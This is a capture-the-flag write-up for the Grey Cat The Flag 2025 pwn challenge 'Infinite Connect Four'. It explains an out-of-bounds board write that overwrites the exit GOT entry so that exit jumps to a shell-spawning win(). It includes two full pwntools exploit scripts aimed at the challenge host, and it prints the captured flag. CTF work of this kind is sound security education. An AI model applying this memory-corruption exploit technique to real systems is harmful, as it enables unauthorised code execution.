team-logo
Published on

Grey Cat The Flag 2025 - PWN - Infinite Connect Four

Authors

Table of contents

Introduction

pwn-infinite-connect-four.png

This was an awesome pwn challenge from Grey Cat The Flag 2025. It was the most solved task in the competition, but still required a solid grind to crack. The goal was to exploit a 64-bit ELF binary to spawn a shell and grab the flag.

Vulnerability

The infinite_connect_four_patched binary (64-bit ELF, Partial RELRO, Stack Canary, NX, PIE, SHSTK, IBT) runs a Connect Four game on an 8x8 board. In the game function, filling a column (e.g., column 0) triggers an out-of-bounds write in the 64-byte board array during the shift mechanism. When local_14 goes negative, writes to board[iVar2 + local_14 * 8] can corrupt memory before the array. Due to PIE, the win() function and GOT addresses are randomized, but the lower bytes of win() (e.g., 0xfc9) remain consistent. There’s a 1/16 chance of overwriting the exit GOT entry with a value aligning to win(), which calls system("/bin/sh").

Exploit

  • Set player 1’s symbol to 0xc9 (lower byte of win()).
  • Fill column 0 with 8 moves to trigger out-of-bounds write.
  • Make moves in columns 2 and 1 to overwrite exit@GLIBC_2.2.5 with 0xc9.
  • Send invalid column '8' to call exit, now pointing to win(), spawning a shell.
  • Use a random token to verify shell access and retry on connection failure.

Code

from pwn import *             
import random

context.log_level = 'warning' 

context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']

HOST="nc challs.nusgreyhats.org 33102"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./infinite_connect_four_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

counter=0

while True:
    
    if args.REMOTE:
        p = remote(ADDRESS,PORT)
    else:
        p = process(binary.path)    
    
    # Respond to player symbol prompts
    warn("Sending player symbols and making moves in the game...")

    p.sendlineafter(b'Enter player 1 symbol >', bytes([0xc9]))
    warn("Player 1 symbol sent")
    p.sendlineafter(b'Enter player 2 symbol >', bytes([0x3f]))
    warn("Player 2 symbol sent")

    for _ in range(8):
        p.sendlineafter(b'Player 1 choose your column (0 - 7) >', b'0')
        warn("Player 1 chose column 0")
        p.sendlineafter(b'Player 2 choose your column (0 - 7) >', b'0')
        warn("Player 2 chose column 0")

    p.sendlineafter(b'Player 1 choose your column (0 - 7) >', b'2')
    warn("Player 1 chose column 2")

    for _ in range(8):
        p.sendlineafter(b'Player 2 choose your column (0 - 7) >', b'1')
        warn("Player 2 chose column 1")
        p.sendlineafter(b'Player 1 choose your column (0 - 7) >', b'1')
        warn("Player 1 chose column 1")

    p.sendlineafter(b'Player 2 choose your column (0 - 7) >', b'8')
    warn("Player 2 exited")
    try:
        p.sendline(b"")  # just a blank line to flush
    except (BrokenPipeError, EOFError):
        print(f"[-] Connection closed immediately")
        p.close()
        continue  # go to next iteration

    counter+=1
    SHELL_CHECKER = str(random.randint(100000, 9999999)).encode()
    warn(f"COUNTER: {counter} TOKEN: {SHELL_CHECKER.decode()}")
        
    p.sendline(b"echo "+SHELL_CHECKER)
    try:
        p.recvuntil(SHELL_CHECKER, timeout=20)
        p.sendline(b'cat flag.txt')
        p.interactive()
        sys.exit()
            
    except EOFError:
        warn ("No receive")
        p.close()
        pass
    

Code with threads (BONUS)

from pwn import *             
import random
import threading
import sys
import os

context.log_level = 'warning' 

context.update(arch='x86_64', os='linux') #o tym pamietac jak sie nie pobiera danych z pliku
context.terminal = ['wt.exe','wsl.exe'] #do wsl

HOST="nc challs.nusgreyhats.org 33102"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./infinite_connect_four_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

counter=0

stop_event = threading.Event()

def play_game(thread_id):
    global counter
    while not stop_event.is_set():
        if args.REMOTE:
            p = remote(ADDRESS, PORT)
        else:
            p = process(binary.path)

        warn(f"[Thread {thread_id}] Sending player symbols and making moves in the game...")

        p.sendlineafter(b'Enter player 1 symbol >', bytes([0xc9]))
        warn(f"[Thread {thread_id}] Player 1 symbol sent")
        p.sendlineafter(b'Enter player 2 symbol >', bytes([0x3f]))
        warn(f"[Thread {thread_id}] Player 2 symbol sent")

        for _ in range(8):
            p.sendlineafter(b'Player 1 choose your column (0 - 7) >', b'0')
            #warn(f"[Thread {thread_id}] Player 1 chose column 0")
            p.sendlineafter(b'Player 2 choose your column (0 - 7) >', b'0')
            #warn(f"[Thread {thread_id}] Player 2 chose column 0")

        p.sendlineafter(b'Player 1 choose your column (0 - 7) >', b'2')
        warn(f"[Thread {thread_id}] Player 1 chose column 2")

        for _ in range(8):
            p.sendlineafter(b'Player 2 choose your column (0 - 7) >', b'1')
            #warn(f"[Thread {thread_id}] Player 2 chose column 1")
            p.sendlineafter(b'Player 1 choose your column (0 - 7) >', b'1')
            #warn(f"[Thread {thread_id}] Player 1 chose column 1")

        p.sendlineafter(b'Player 2 choose your column (0 - 7) >', b'8')
        warn(f"[Thread {thread_id}] Player 2 exited")
        try:
            p.sendline(b"")  # just a blank line to flush
        except (BrokenPipeError, EOFError):
            print(f"[-] [Thread {thread_id}] Connection closed immediately")
            p.close()
            continue  # go to next iteration

        counter += 1
        SHELL_CHECKER = str(random.randint(100000, 9999999)).encode()
        warn(f"[Thread {thread_id}] COUNTER: {counter} TOKEN: {SHELL_CHECKER.decode()}")

        p.sendline(b"echo " + SHELL_CHECKER)
        try:
            p.recvuntil(SHELL_CHECKER, timeout=20)
            p.sendline(b'cat flag.txt')
            stop_event.set()  # Signal other threads to stop
            p.interactive()
            os._exit(0)  # Terminates all threads and the program immediately
        except EOFError:
            warn(f"[Thread {thread_id}] No receive")
            p.close()
            pass

threads = []
num_threads = 4

for i in range(num_threads):
    t = threading.Thread(target=play_game, args=(i,))
    t.daemon = True
    t.start()
    threads.append(t)

# Keep the main thread alive to allow threads to run
for t in threads:
    t.join()

How It Works

  • Symbol: Player 1’s symbol (0xc9) overwrites the exit GOT entry during out-of-bounds writes.
  • Moves: Fills columns 0 and 1, with a move in column 2, to corrupt 0x55555555a060.
  • Trigger: Invalid column '8' calls exit, now pointing to win(), spawning a shell.
  • Reliability: A loop with a random token handles unstable remote connections (challs.nusgreyhats.org:33102).
  • Flag: cat flag.txt retrieves the flag (e.g., grey{...}).

Summary

That was a cool task:

grey{i_l0v3_mE_s0M3_bUfFeR_0v3rFloWS}